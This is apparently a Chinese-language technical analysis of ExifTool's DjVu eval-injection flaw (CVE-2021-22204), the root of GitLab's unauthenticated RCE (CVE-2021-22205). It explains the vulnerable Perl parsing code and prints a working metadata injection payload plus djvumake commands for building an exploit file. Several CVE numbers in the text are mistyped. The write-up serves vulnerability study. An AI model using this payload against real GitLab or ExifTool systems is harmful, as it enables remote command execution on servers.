CVE-2021-22205:Gitlab RCE分析之一:ExifTool CVE-2021-22004起源
漏洞信息
近日,互聯網披露Gitlab存在遠程命令執行漏洞,編號為CVE-2021-22205,可在未授權條件下直接獲取控制權。影響范圍如下:
- 11.9 <= GitLab(CE/EE)< 13.8.8
- 13.9 <= GitLab(CE/EE)< 13.9.6
- 13.10 <= GitLab(CE/EE)< 13.10.3
通過深入分析發現該漏洞源于Exiftool自身的另一個漏洞CVE-2021-22204。下面計劃采用2篇文章完成整個漏洞分析:
- Exiftool CVE-2021-22004 RCE漏洞分析
- Gitlab CVE-2021-22005 從認證后RCE提升到未授權RCE
今天先分析下CVE-2021-22204。
補丁對比
Exiftool CVE-2021-22004影響v7.44以前的版本,漏洞信息如下:

Gitlab v13.10.2版本使用的Exiftool版本為11.70,正好在漏洞范圍之內,實際上CVE-2021-22204是在測試GitLab問題時被挖掘出來的。

根據commit信息,Exiftool在v12.4版本中修補了DjVu reader漏洞。

在commit中搜索`eval`等PERL危險函數,`lib/Image/Exiftool/DjVu.pm`刪除了`eval`函數調用。

Exiftool解析規則
調用的函數為`ParseAnt`。

注意到注釋里的Djvu字符串,查閱資料可知DjVu是由AT&T實驗室自1996年起開發的一種圖像壓縮技術,已發展成為標準的圖像文檔格式之一,可替代PDF成為網絡傳輸掃描文檔、數碼照片、圖像文件的主流技術。主流Linux發行版都有djvu的查看和編輯工具,centos可通過`yum install djvulibre`安裝,ubuntu則為`sudo apt install djvulibre-bin`。而`djvulibre`工具中,`djvumake`命令可根據模板編譯,參考如下:
djvumake
http://djvu.sourceforge.net/doc/man/djvumake.html
全文搜索代碼,并沒有找到ParseAnt的調用,但是可以在`/Exiftool/Exiftool/12.23/t/images/DjVu.djvu`中找到合法的格式,而且包含`ANTz`字段,與`Duvj.pm`文件中`%Image::Exiftool::DjVu::Main`函數正好對應,同時通過`ANTa`和`ANTz`的定義猜測其分別是ASCII格式和BZZ加密格式。

通過比較不難發現,`JDVIANTz`后邊跟的數據為`\x00\x00`+2字節長度+數據。

yum install perl-CPANperl Makefile.PLmakemake install
使用編譯后的Exiftool解析`/Exiftool/Exiftool/12.23/t/images/DjVu.djvu`樣例文件,獲得到的變量如下:
(metadata (Author "Phil Harvey") (Title "DjVu Metadata Sample") (Subject "Exiftool DjVu test image") (Creator "Exiftool") (CreationDate "2008-09-23T12:31:34-04:00") (ModDate "2008-11-11T09:17:10-05:00") (Keywords "Exiftool, Test, DjVu, XMP") (Producer "djvused") (note "Must escape double quotes (\") and backslashes (\\)") (Trapped "Unknown") (annote "Did you get this?") (url "https://Exiftool.org/") )(xmp ")
安裝`djvulibre`工具后,正好有bzz壓縮命令。自行構造文件,然后進行數據壓縮。

利用bzz壓縮后的數據拷貝到原有的duvj文件中,可以正常解析metadata,這里就已經找到了構造合法duvj文件的方法。

漏洞定位
接下來就是定位漏洞原因了,主要是`ParseAnt`函數。
- 函數主要為讀取Metadata內容進行循環解析
- 從每一個形如`(Author "Phil Harvey")`的數據中提取tok,及`Author`的值
sub ParseAnt($){ my $dataPt = shift; my (@toks, $tok, $more);Tok: for (;;) { # 1. 循環處理傳入字符串 last unless $$dataPt =~ /(\S)/sg; if ($1 eq '(') { # 2. 使用括號分割處理每一個字段 $tok = ParseAnt($dataPt); } elsif ($1 eq ')') { $more = 1; last; } elsif ($1 eq '"') { # 3. 當遇到雙引號時,繼續進行內容處理 $tok = ''; for (;;) { # 4. 處理匹配/"/sg正則表達式 my $pos = pos($$dataPt); last Tok unless $$dataPt =~ /"/sg; # 4. s表示匹配任意字符,包括換行;g表示匹配多次,處理有多個"的情況 $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos); # 5. 提取tok last unless $tok =~ /(\\+)$/ and length($1) & 0x01; # 6. 提取tok,注意這里沒有加上s參數。 $tok .= '"'; # quote is part of the string } $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge; # 7. 去除$、@字符 # convert C escape sequences (allowed in quoted text) $tok = eval qq{"$tok"}; # 8. 執行eval語句 } } ......}
(8)中執行`eval`語句需要閉合雙引號;(4)中正則匹配添加了`/s`參數來處理換行的情形,而(6)卻沒有;(6)中正則的目的是檢查當前子字符串是否以奇數個反斜杠結尾。如果是,則假定它剛剛找到的引用已正確轉義,并且應該是元數據的一部分。
問題的原因是:當引號前的最后兩個字符是反斜杠和換行符時,此邏輯就會失效。(6)的正則表達式在解析`\`時會認為它匹配了`\`,這會導致雙引號包含在子字符串中,那么下一行中的第一個雙引號就會被當做字符串中的內容。當輸入如下表達式時,`" . return ~id~; #"`字符串會被傳入(8)中,實現了雙引號閉合。
# raw(metadata (Author "\" . return `id`; #"))
封裝到Djvu文件中,成功執行了系統命令,順便修改了代碼附上各步驟執行后的結果,以便大家觀察。

補充說明
其實CVE-2021-22204漏洞的利用上半年就已放出,所以CVE-2021-22205漏洞在野攻擊時間也應該很長了,另一種簡單的生成方式是使用`djvumake`編譯,方法如下:
$ bzz payload payload.bzz$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
上面對Gitlab CVE-2021-22205漏洞的起源Exiftool CVE-2021-22004原理進行了詳細分析,下一篇我們將基于上面的基礎,完成整個漏洞原理分析。
參考
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204
https://github.com/Exiftool/Exiftool
http://djvu.sourceforge.net/doc/man/djvumake.html